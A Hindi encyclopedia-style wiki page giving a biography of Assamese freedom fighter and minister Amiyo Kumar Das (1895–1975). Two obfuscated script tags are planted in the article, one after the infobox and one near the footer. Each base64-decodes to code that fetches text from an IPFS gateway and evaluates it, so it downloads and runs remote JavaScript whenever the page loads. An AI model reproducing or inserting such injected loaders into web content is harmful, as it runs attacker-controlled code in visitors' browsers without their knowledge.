एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

अमिय कुमार दास

भारत डिस्कवरी प्रस्तुति
कविता बघेल (चर्चा | योगदान) द्वारा परिवर्तित 12:20, 14 मई 2017 का अवतरण ('{{सूचना बक्सा स्वतन्त्रता सेनानी |चित्र=Omeo-Kumar-Das-Photo.jpg |...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
अमिय कुमार दास
अमिय कुमार दास
पूरा नाम अमिय कुमार दास
जन्म 1895
जन्म भूमि तेजपुर, असम
मृत्यु 23 जनवरी, 1975
मृत्यु स्थान गुवाहाटी
पति/पत्नी पुष्पलता दास
संतान बेटी
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी
धर्म हिंदु
आंदोलन असहयोग आंदोलन, सत्याग्रह और 'भारत छोड़ो आंदोलन
जेल यात्रा असहयोग आंदोलन में भाग लेने के कारण दो बार जेल गये।
शिक्षा स्नातक
पुरस्कार-उपाधि पद्म भूषण, 1963
अन्य जानकारी अमिय कुमार दार अच्छे लेखक भी थे। उन्होंने गाँधीजी की आत्मकथा 'सत्य के प्रयोग' का असमिया भाषा में अनुवाद किया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अमिय कुमार दास (अंग्रेज़ी: Amiyo Kumar Das, जन्म: 1895, असम, मृत्यु: 23 जनवरी, 1975 गुवाहाटी, असम) लोकप्रिय लोक नायक के रूप में संबोधित थे, ये एक भारतीय समाजसेवी, गाँधीजी के विचारों के अनुयायी, लेखक और असम के प्रमुख राष्ट्रीय नेता थे।

परिचय

अमिय कुमार दास का जन्म 1895 में तेजपुर, असम में हुआ था। उन्होंने स्नातक की शिक्षा कोलकाता से पूरी की। क़ानून की पढ़ाई कर रहे थे कि ये गाँधीजी के असहयोग आंदोलन के आह्वान पर पढ़ाई छोड़कर तेजपुर वापस आ गए और आंदोलन को संगठित करने में लग गए।

आंदोलन में भाग

अमिय कुमार दास गाँधीजी के विचारों के अनुयायी थे इसलिये वह अपनी क़ानून की पढ़ायी बीच में ही छोड़कर गाँधीजी के असहयोग आंदोलन में सम्मिलित हो गये। असहयोग आंदोलन के सिलसिले में उन्होंने दो बार जेल की यात्राएं भी कीं। व्यक्तिगत सत्याग्रह और 'भारत छोड़ो आंदोलन में भी वे गिरफ़्तार हुए। अमिय कुमारा दास 1946 में असम असेम्बली के सदस्य चुने गए और 1947 से 1957 तक विभिन्न विभागों के मंत्री रहे। वे संविधान सभा के भी सदस्य थे। 1949 में उन्होंने जिनेवा में आयोजित अंतर्राष्ट्रीय श्रम संगठन के अधिवेशन में भारत के प्रतिनिधि मंडल का नेतृव्य किया था

व्यक्तित्व

अमिय कुमार दार अच्छे लेखक भी थे। उन्होंने गाँधीजी की आत्मकथा 'सत्य के प्रयोग' का असमिया भाषा में अनुवाद किया। गाँधीजी से सम्बधित कुछ अन्य ग्रंथों की रचना भी उन्होंने की।

समाज सेवक

अमिय कुमार दास की समाज सेवा के कार्यों में विशेष रुचि थी। वे असम सेवा समिति के संस्थापकों में से थे। शिक्षा मंत्री के रूप में उन्होंने गाँधीजी द्वारा प्रतिपादित बेसिक शिक्षा पद्धति को लागू करने के लिए बहुत से कदम उठाए। 1963 में भारत सरकार ने उन्हें समाज में उनके योगदान के लिए पद्म भूषण का तीसरा सबसे बड़ा नागरिक सम्मान दिया था।

निधन

अमिय कुमार दास का निधन 23 जनवरी, 1975 को 79 की उम्र में हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख